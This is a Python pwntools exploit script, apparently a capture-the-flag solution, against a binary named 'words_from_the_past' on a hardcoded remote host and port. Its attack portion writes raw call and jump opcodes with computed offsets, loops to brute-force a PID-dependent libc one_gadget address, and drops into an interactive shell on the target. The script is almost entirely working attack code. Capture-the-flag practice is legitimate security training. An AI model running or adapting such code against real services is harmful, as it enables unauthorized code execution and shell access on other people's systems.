#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 127.0.0.1 --port 8000 --no-auto ./words_from_the_past
from pwn import *
import os
if 'TMUX' in os.environ:
    context.terminal = ['tmux', 'splitw', '-h']

# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or './words_from_the_past_patched')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or '154.57.164.82'
port = int(args.PORT or 32417)


def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
set follow-fork-mode child
breakrva 0x16d5
breakrva 0x18b7
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:      Full RELRO
# Stack:      Canary found
# NX:         NX enabled
# PIE:        PIE enabled
# RUNPATH:    b'$ORIGIN/glibc'

# only locally works
def get_child_pid(parent_pid):
    children_path = f"/proc/{parent_pid}/task/{parent_pid}/children"

    while True:
        try:
            with open(children_path) as f:
                children = f.read().strip().split()

            if children:
                return int(children[0])
        except FileNotFoundError:
            pass

for child_pid in range(1, 8):

    io = start()

    payload = b'\xe8' + p32(-63787, signed=True)   # offset found with gdb

    io.sendafter(b'lethal..\n\n', payload)

    libc_exe = ELF('./glibc/libc.so.6', checksec=False)

    one_gadget_offset = 0x583f3
    #child_pid = get_child_pid(io.pid)  # only locally works
    pid_low = (child_pid) & 7
    delta = (0x1000 + pid_low) * 0x1000
    rel32 = one_gadget_offset + delta - 5
    payload = b'\xe9' + p32(rel32, signed=True)

    io.sendafter(b'lethal..\n\n', payload)

    io.interactive()

